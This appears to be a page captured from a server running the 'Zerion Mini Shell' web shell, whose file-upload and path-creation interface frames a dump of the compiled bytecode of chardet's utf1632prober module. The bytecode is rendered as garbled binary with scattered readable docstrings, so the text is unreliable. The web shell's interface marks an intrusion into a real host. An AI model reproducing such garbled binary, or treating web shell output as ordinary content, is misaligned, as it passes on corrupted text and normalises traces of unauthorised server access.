%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/chardet/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/chardet/__pycache__/utf1632prober.cpython-312.pyc

�

�d9!��B�ddlmZmZddlmZddlmZGd�de�Zy)�)�List�Union�)�
CharSetProber)�ProbingStatec���eZdZdZdZdZd�fd�Zd�fd�Zede	fd��Z
ede	fd	��Zdefd
�Z
defd�Zdefd�Zdefd
�Zdefd�Zdefd�Zdeeddfd�Zdeeddfd�Zdeeefdefd�Zedefd��Zdefd�Z�xZS)�
UTF1632Proberad
    This class simply looks for occurrences of zero bytes, and infers
    whether the file is UTF16 or UTF32 (low-endian or big-endian)
    For instance, files looking like (    [nonzero] )+
    have a good probability to be UTF32BE.  Files looking like (  [nonzero] )+
    may be guessed to be UTF16BE, and inversely for little-endian varieties.
    �g�G�z�?�returnNc���t�|��d|_dgdz|_dgdz|_t
j|_gd�|_d|_	d|_
d|_d|_d|_
d|_|j�y)Nr��rrrrF)�super�__init__�position�zeros_at_mod�nonzeros_at_modr�	DETECTING�_state�quad�invalid_utf16be�invalid_utf16le�invalid_utf32be�invalid_utf32le�'first_half_surrogate_pair_detected_16be�'first_half_surrogate_pair_detected_16le�reset��self�	__class__s ��7/usr/lib/python3/dist-packages/chardet/utf1632prober.pyrzUTF1632Prober.__init__)s~���
������
��C�!�G��� !�s�Q�w���"�,�,��� ��	�$���$���$���$���7<��4�7<��4��
�
��c����t�|��d|_dgdz|_dgdz|_t
j|_d|_d|_	d|_
d|_d|_d|_
gd�|_y)Nrr
Fr)rrrrrrrrrrrrrrrrs �r!rzUTF1632Prober.reset8ss���
��
����
��C�!�G��� !�s�Q�w���"�,�,���$���$���$���$���7<��4�7<��4� ��	r"c��|j�ry|j�ry|j�ry|j�ryy)Nzutf-32bezutf-32lezutf-16bezutf-16lezutf-16)�is_likely_utf32be�is_likely_utf32le�is_likely_utf16be�is_likely_utf16le�rs r!�charset_namezUTF1632Prober.charset_nameFsA���!�!�#���!�!�#���!�!�#���!�!�#��r"c��y)N��r)s r!�languagezUTF1632Prober.languageSs��r"c�4�td|jdz�S)N��?g@��maxrr)s r!�approx_32bit_charsz UTF1632Prober.approx_32bit_charsW����3��
�
��+�,�,r"c�4�td|jdz�S)Nr0g@r1r)s r!�approx_16bit_charsz UTF1632Prober.approx_16bit_charsZr4r"c�f�|j�}||jk\xr�|jd|z|jkDxrp|jd|z|jkDxrO|jd|z|jkDxr.|jd|z|jkDxr
|j
S�Nrr��)r3�MIN_CHARS_FOR_DETECTIONr�EXPECTED_RATIOrr�r�approx_charss  r!r%zUTF1632Prober.is_likely_utf32be]s����.�.�0���t�;�;�;�
����a� �<�/�$�2E�2E�E�
)��!�!�!�$�|�3�d�6I�6I�I�
)��!�!�!�$�|�3�d�6I�6I�I�
)��$�$�Q�'�,�6��9L�9L�L�
)��(�(�(�	
r"c�f�|j�}||jk\xr�|jd|z|jkDxrp|jd|z|jkDxrO|jd|z|jkDxr.|jd|z|jkDxr
|j
Sr8)r3r;rr<rrr=s  r!r&zUTF1632Prober.is_likely_utf32legs����.�.�0���t�;�;�;�
�� � ��#�l�2�T�5H�5H�H�
)��!�!�!�$�|�3�d�6I�6I�I�
)��!�!�!�$�|�3�d�6I�6I�I�
)��!�!�!�$�|�3�d�6I�6I�I�
)��(�(�(�	
r"c�"�|j�}||jk\xro|jd|jdz|z|jkDxr>|jd|jdz|z|jkDxr
|j
S)Nrr:rr9)r6r;rr<rrr=s  r!r'zUTF1632Prober.is_likely_utf16beq����.�.�0���t�;�;�;�
�
�
!�
!�!�
$�t�';�';�A�'>�
>�,�N��!�!�
"�
)��"�"�1�%��(9�(9�!�(<�<��L��!�!�"�
)��(�(�(�	
r"c�"�|j�}||jk\xro|jd|jdz|z|jkDxr>|jd|jdz|z|jkDxr
|j
S)Nrr9rr:)r6r;rr<rrr=s  r!r(zUTF1632Prober.is_likely_utf16le{rAr"rc���|ddk7s)|ddkDs!|ddk(r |ddk(rd|dcxkrdkr
nnd|_|ddk7s)|ddkDs!|ddk(r#|ddk(rd|dcxkrdkrny	d|_y	y	y	y	)
z�
        Validate if the quad of bytes is valid UTF-32.

        UTF-32 is valid in the range 0x00000000 - 0x0010FFFF
        excluding 0x0000D800 - 0x0000DFFF

        https://en.wikipedia.org/wiki/UTF-32
        rr���r9��Tr:N)rr)rrs  r!�validate_utf32_charactersz'UTF1632Prober.validate_utf32_characters�s���
��G�q�L��A�w��~��Q��1���a��A��$�$�q�'�2I�T�2I�#'�D� ���G�q�L��A�w��~��Q��1���a��A��$�$�q�'�2I�T�2I�#'�D� �3J��r"�pairc�z�|js2d|dcxkrdkrnnd|_n9d|dcxkrdkr+nn(d|_n d|dcxkrdkrnnd|_nd|_|js3d|dcxkrdkrnnd|_y	d|dcxkrdkrny	d|_y	y	d|dcxkrdkr	d|_y	d|_y	)
a9
        Validate if the pair of bytes is  valid UTF-16.

        UTF-16 is valid in the range 0x0000 - 0xFFFF excluding 0xD800 - 0xFFFF
        with an exception for surrogate pairs, which must be in the range
        0xD800-0xDBFF followed by 0xDC00-0xDFFF

        https://en.wikipedia.org/wiki/UTF-16
        rEr��T��rFFrN)rrrr)rrHs  r!�validate_utf16_charactersz'UTF1632Prober.validate_utf16_characters�s����;�;��t�A�w�&�$�&�?C��<���a��(�D�(�'+��$��t�A�w�&�$�&�?D��<�'+��$��;�;��t�A�w�&�$�&�?C��<���a��(�D�(�'+��$�)��t�A�w�&�$�&�?D��<�'�(,��$r"�byte_strc��|D]�}|jdz}||j|<|dk(rW|j|j�|j|jdd�|j|jdd�|dk(r|j|xxdz
cc<n|j
|xxdz
cc<|xjdz
c_��|jS)Nr
r:rr9r)rrrGrLrr�state)rrM�c�mod4s    r!�feedzUTF1632Prober.feed�s����	�A��=�=�1�$�D��D�I�I�d�O��q�y��.�.�t�y�y�9��.�.�t�y�y��1�~�>��.�.�t�y�y��1�~�>��A�v��!�!�$�'�1�,�'��$�$�T�*�a�/�*��M�M�Q��M�	��z�z�r"c�:�|jtjtjhvr|jS|j	�dkDr!tj|_|jS|j
dkDrtj|_|jS)Ng�������?i)rr�NOT_ME�FOUND_IT�get_confidencerr)s r!rOzUTF1632Prober.state�sz���;�;�<�.�.��0E�0E�F�F��;�;����� �4�'�&�/�/�D�K�
�{�{��	�]�]�X�
%�'�-�-�D�K��{�{�r"c��|j�s0|j�s |j�s|j�rdSdS)Ng333333�?g)r(r'r&r%r)s r!rVzUTF1632Prober.get_confidence�sH���&�&�(��)�)�+��)�)�+��)�)�+�
�		
��		
r")rN) �__name__�
__module__�__qualname__�__doc__r;r<rr�property�strr*r.�floatr3r6�boolr%r&r'r(r�intrGrLr�bytes�	bytearrayrrRrOrV�
__classcell__)r s@r!r	r	s����!���N�
�!��
�c�
��
���#����-�E�-�-�E�-�
�4�
�
�4�
�
�4�
�
�4�
�(�d�3�i�(�D�(�,,�d�3�i�,�D�,�@
�U�5�)�#3�4�
��
��
�|�
��
�

��

r"r	N)�typingrr�
charsetproberr�enumsrr	r-r"r!�<module>rgs��*�(��F
�M�F
r"

Zerion Mini Shell 1.0